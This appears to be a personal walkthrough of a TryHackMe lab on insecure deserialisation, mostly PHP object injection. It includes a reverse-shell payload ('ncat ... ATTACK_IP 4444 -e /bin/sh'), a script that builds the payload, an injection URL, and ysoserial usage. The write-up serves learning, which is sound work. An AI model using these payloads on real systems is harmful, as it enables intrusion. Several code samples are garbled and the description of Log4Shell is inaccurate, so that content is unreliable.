Introduction#

  • Insecure deserialisation exploits occur when an application trusts serialised data enough to use it without validating its authenticity.
  • This trust can lead to disastrous outcomes as attackers manipulate serialised objects to achieve remote code execution, escalate privileges, or launch denial-of-service attacks.
  • This type of vulnerability is prevalent in applications that serialise and deserialise complex data structures across various programming environments, such as Java, .NET, and PHP, which often use serialisation for remote procedure calls, session management, and more.

Some Basics#

Serialization#

  • Think of serialisation is like taking different pieces of information and putting them together to make them easy to store or send to anywhere.
  • In programming, serilization is a process of tranforming an object’s state into a human-readable or binary format that can be stored or transmitted and reconstructed as and when required.
  • This capability is essential in applications where data must be transferred between different parts of a system. or across network, such as in web based applications.
  • In PHP, this process is performed using the serialize()
  • Example:
    <?php
    $noteArray = array("title" => "My THM Note", "content" => "Welcome to THM");
    $serialisedNote = serialize($noteArray); // converting the note into a storable format
    file_put_contents('note.txt', $serialisedNote); // saving the serialized note into a file
    ?>
    

Derialization#

  • Think of deserilization is like taking the packed-up data and turns it back into something you can use.
  • It is process of converting the formated data back into an object. It’s crucial for retriving files, databases, or across networks, restoring it to its oringinal state for usage in applications.
  • Example:
    <?php
    $serialisedNote = file_get_contents('note.txt');  // Reading the serialised note from the file
    $noteArray = unserialize($serialisedNote);  // Converting the serialised string back into a PHP array
    echo "Title: " . $noteArray['title'] . "<br>";
    echo "Content: " . $noteArray['content'];
    ?>
    

Specific Incidents Involving Serialisation Vulnerabilities#

  • Log4j Vulnerability CVE-2021-44228: or Log4shell, is a critical flaw found in the Apache Log4j 2 library, a widely used logging library in Java applications. It allows remote attackers to execute arbitary code on affected sysytems by exploiting the library’s insecure deserilization functionality.
  • WebLogic Server RCE CVE-2015-4852: was related to how the Oracle web logice server deserilized data was sent to the T3 protocol. Attackers could send maliciously crafted objects to the server, which, when deserilized, led to RCE.
  • Jenkins Java Deserilization CVE-2016-0792: A popular automation server used in software development, experianced a critical vulnerability involving java deserilization. Attackers could send crafted serialisation payloads to jenkins CLI, which, when deserilized, could allow arbitary code execution.

Serialization formats#

  • While different programming languages may use varying keywords and functions for serialization, the underlying principle remains consistant.
  • Whether Java, Python, .NET, or PHP, each language implements serialization to accommodate specific features or security measures inherent to its environment.
  • Unlike other vulnerabilities that exploit the immediate processing of user inputs, insecure deserialisation problems involve a deeper interaction with the application core logic, often manipulating behaviour of its components.

PHP Serialization#

  • In PHP, serialisation is accomplished using the serialize() function which converts a PHP object or array into a byte stream representing the object’s data and structure. T
  • The resulting byte stream can include various data types, such as strings, arrays, and objects, making it unique.
  • To illustrate this, let’s consider a notes application where users can save and retrieve their notes.
class Notes {
    public $Notescontent;
    public function __construct($content) {
        $this->Notescontent = $content;
    }
}

$note = New Notes("Welcome to THM");
$serialized_note = serilize($note)
print "$serialized_note"
// O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}
/*
0:5:"Notes":1: --> an object of the class Notes, which has one property
s:7:"content"  --> property name "content" with length of 7 chars. In serialized data,strings are represented with `s` follwoed by length of the string and the string in double quotes.
s:14:"Welcome to THM" --> this is value of the "content" property, with length of 14 chars.
*/
  • When user saves note, we serialize the Notes class object using PHP’s serialize() function. This converts the object into a string representation that can be stored in a file or database.
  • PHP provides several magic methods that play crucial roles in the serialisation process.
    • __sleep(): Its called on an object before serialization. It can clean up resources, such as database connections,and is expected to return an array of property names that should be serialized.
    • __wakeup(): Its invoked upon deserilization. It can re-establish any connections that the object might need to operate correctly.
    • __serialize(): As of PHP 7.4, it enables you to customize the serialization data by returning an array representing the object’s serialized form.
    • __unserialize(): This is counter part of __serialize() allows for customizing the restoration of an object from its serialised data.

Python Serialization#

  • Python uses a module called Picke to serialize and deserialize objects. This module, converts a python object into a byte stream (and vice versa), enabling it to be saved to a file or transmitted over a network.
  • Pickling is a powerfull tool for python developers because it handles almost all types of python objects without needing manual handling of object’s state.
  • Lets have look here, with Notes application same like in PHP.
    import pickle
    import base64
    # ..... Un serializing .....#
    
    serialized_data = request.form['serialized_data']
    # Why base64? Serialised data is binary and not safe for display in all environments. 
    notes_obj = pickle.loads(base64.b64decode(serialized_data))
    message = "Notes successfully unpickles."
    
    # ... Serailizing ..........#
    elif request.method = 'POST':
      if 'pickle' in request.form:
          content = request.form['note_content']
          netes_obj.add_note(content)  # a method to add note 
          pickled_content = picke.dumps(notes_obj)
          serialized_data = base64.b64decode(pickled_content).decode('utf-7')
          binary_data = ' '.join(f'{x:02x}' for x in pickled_content)
          message = "Notes pickled successfully
    
  • Please have a look on below screenshot for better clarity. Python serialization example

Java Serialization#

  • In Java, object serialisation is facilitated through the Serializable interface, allowing objects to be converted into byte streams and vice versa, which is essential for network communication and data persistence.

.Net Serialization#

  • .NET serialisation has evolved significantly over the years.
  • Initially, BinaryFormatter was commonly used for binary serialisation; however, its use is now discouraged due to security concerns.
  • Modern .NET applications typically use System.Text.Json for JSON serialisation, or System.Xml.Serialization for XML tasks, reflecting a shift towards safer, more standardised data interchange formats.

Ruby Serialization#

  • Ruby offers simplicity with its Marshal module, which is renowned for serialising and deserialising objects, and for more human-readable formats, it often utilises YAML.

Identification#

Access to the Source Code:#

  • When access to the source code is available, identifying serialisation vulnerabilities can be more straightforward but requires a keen understanding of what to look for.
  • For example, through code review, we can examine the source code for uses of serialisation functions such as serialize(), unserialize(), pickle.loads(), and others. We must pay special attention to any point where user-supplied input might be passed directly to these functions.

No Access to the Source Code#

  • When auditing an application without access to its source code, the challenge lies in deducing how it processes data based solely on external observations and interactions. This is commonly referred to as black-box testing.
  • Here, we focus on detecting patterns in server responses and cookies that might indicate the use of serialisation and potential vulnerabilities.
  • As a pentester, appending a tilde ~ at the end of a PHP file name is a common technique attackers use to try to access backup or temporary files created by text editors or version control systems.
  • When a file is edited or saved, some text editors or version control systems may make a backup copy of the original file with a tilde appended to the file name.
  • Analysing Server Responses
    • Error messages: Keenly serach for object serailizatio errors, etc..
    • Inconsistencies in application behaviour with manipuated input can suggest issues with how data is deserialized.

Question: Visit the URL http://10.48.132.82/who/index.php and identify what is the user-defined function used for serialisation?#

  • Hint: Try to access backup or temporary files.
  • We can access backup or temporary files by appending a tilde ~ at the end of a PHP file name. Just like ‘http://10.48.132.82/who/index.php~’
  • name = $name; $this->age = $age; } } function HelloTHMSerialization($obj) { return serialize($obj); } $obj = new Test("THM", 30); $serializedData = HelloTHMSerialization($obj); echo $serializedData; ?>
  • Answer: HelloTHMSerialization

Exploitation - Object Injection#

  • It is a vulnerability that arises from insecure data data serialization applicaitons.
  • It occurs when untrusted data is deserilized into an object, allowing attackers to manipulate the serialized data to execute arbitary code, leading to serious security risks.
  • As we know, the vulnerability arises from the process of serialization and deserialization, which allows php objects to be converted into storable format (serialization) and constructed back into objects (deserilization).
  • While serialization and deserilization are useful for data storage, and transmission, they can also introduce security risks if not properly implemented.
  • To exploit a PHP object injection vulnerability, the application class should include a class featuring a PHP magic method (like __wakeup or __sleep) that can be exploited for malicious purposes.
  • All classes involved in the attack should be declared before calling the unserialize() method (unless object autoloading is supporeted)

Example:#

  • Lets consider an index.php code snippet that shows the serialization and deserilization using the serialize() and deserilize() functions.
    <?php
    
    // index.php 
    
    class UserData {
        private $data;
        public function __construct($data) {
            $this->data = $data;
        }
    ..
    require 'test.php';
    if(isset($_GET['encode'])) {
        $userData = new UserData($_GET['encode']);
        $serializedData = serialize($userData);
        $base64EncodedData = base64_encode($serializedData);
        echo "Normal Data: " . $_GET['encode'] . "<br>";
        echo "Serialized Data: " . $serializedData . "<br>";
        echo "Base64 Encoded Data: " . $base64EncodedData;
    
    } elseif(isset($_GET['decode'])) {
        $base64EncodedData = $_GET['decode'];
        $serializedData = base64_decode($base64EncodedData);
        $test = unserialize($serializedData);
        echo "Base64 Encoded Serialized Data: " . $base64EncodedData . "<br>";
        echo "Serialized Data: " . $serializedData;
    
    ...
    ?>
    
  • if we send the input hellothm via the URL http://10.48.132.82/case2/?encode=hellothm, we will get the following output: serailiation visualization
  • We see that the code includes a file called test.php. From a source code review or considering whether the framework is open source, the pentester knows that test.php contains a class called MaliciousUserData as shown below:
    <?php
    class MaliciousUserData {
    public $command = 'ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh'; // call to troubleshooting server
    
        public function __wakeup() { 
        exec($this->command);
    ...
    
    ?>
    
  • In the above, its possible to manipulate the properties of the object, including altering the command property of MaliciousUserData.
  • For instance, if we want to modify command to execute a different command or connect to different server, we can serialise an object with the desired property value, and then inject into the vulnerable unserialize() function.
  • This way, we have manipulated property value, will be loaded into the object.
  • Please not the we cant able to modify the function __wakeup() itself, instead we can modify the behaviour or properties of the object within the __wakeup method. So, it means that while the function’s definition remains constant, but its actions upon deserialization can be manipulated to achieve different outcomes.

Perparing the payload#

  • let’s create some php code that generate malicious serialized user data.
    <?php
    // exploit.php
    class MaliciousUserData {
      public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
    }
    
    $maliciousUserData = new MailiciousUserData();
    $serializedData = serialize($maliciousUserData);
    $base64EncodeData = base64_encode($serializedData);
    echo "Base64 Encoded Serialized Data: " . $base64EncodeData;
    ?>
    
  • Replace here ATTACK_IP with yours and start listener your side with netcat.
  • And run php exploit.php, you will get the injectable base64 encoded serialized string..
  • Now, inject it, using the url as something like: http://10.48.172.206/case2/?decode=TzoxNzoiTWFsaWNpb3VzVXNlckRhdGEiOjE6e3M6NzoiY29tbWFuZCI7czo0MToibmNhdCAtbnYgMTkyLjE2OC4xMjguMTAwIDQ0NDQgLWUgL2Jpbi9zaCI7fQ==
  • You will get revershell, and access the flag inside.

Automation scripts#

PHP Gadge Chain (PHPGGC):#

  • It automates discovery of insecure vulnerabilities.

  • Its primarily used for generating gadget chains used in PHP object injection attacks, specifically tailored for exploring vulnerabilities realted to PHP object serialization and deserilization.

  • Functionality:

    • Gadget Chains: It provides a library chains for various php frameworks and libraries. These gadget chains are sequences of objects and methods designed to exploit specific vulnerabilities when a PHP application unsafely unserialises user provided data.
    • Paylaod Generation: The main purpose of PHPGGC is to facilitate the generation of serialized payloads that can trigger vulnerabilities.
    • Payload customization: Users can customize payloads by specifying arguements for the functions or methods involved in the gadget chain, there by tailoring the attack to achieve specific outcomes, such as encoding.
  • We can download the PHPGGC at Github.

    #To list all the available chains
    cd /opt/phpggc
    php phpggc -l
    
    Gadget Chains
    -------------
    NAME                    VERSION                  TYPE                   VECTOR          I    
    Bitrix/RCE1             17.x.x <= 22.0.300    RCE: Command              __destruct           
    CakePHP/RCE1            ? <= 3.9.6            RCE: Command              __destruct           
    CakePHP/RCE2            ? <= 4.2.3            RCE: Command              __destruct           
    

Ysoserial for Java#

  • Ysoserial is a widely recognised exploitation tool specifically crafted to test the security of Java applications against serialisation vulnerabilities.
  • It helps generate payloads that exploit these vulnerabilities, making it an essential tool for attackers and penetration testers who aim to assess and exploit applications that use Java serialisation.
  • To use Ysoserial, an attacker would typically generate a payload with a command such as java -jar ysoserial.jar [payload type] '[command to execute]', where [payload type] is the type of exploit and [command to execute] is the arbitrary command they wish to run on the target system.
  • For example, using the CommonsCollections1 payload type might look like this: java -jar ysoserial.jar CommonsCollections1 'calc.exe'. This command generates a serialised object that will execute the specified command when deserialised by a vulnerable application. Ysoserial is available for download on Github.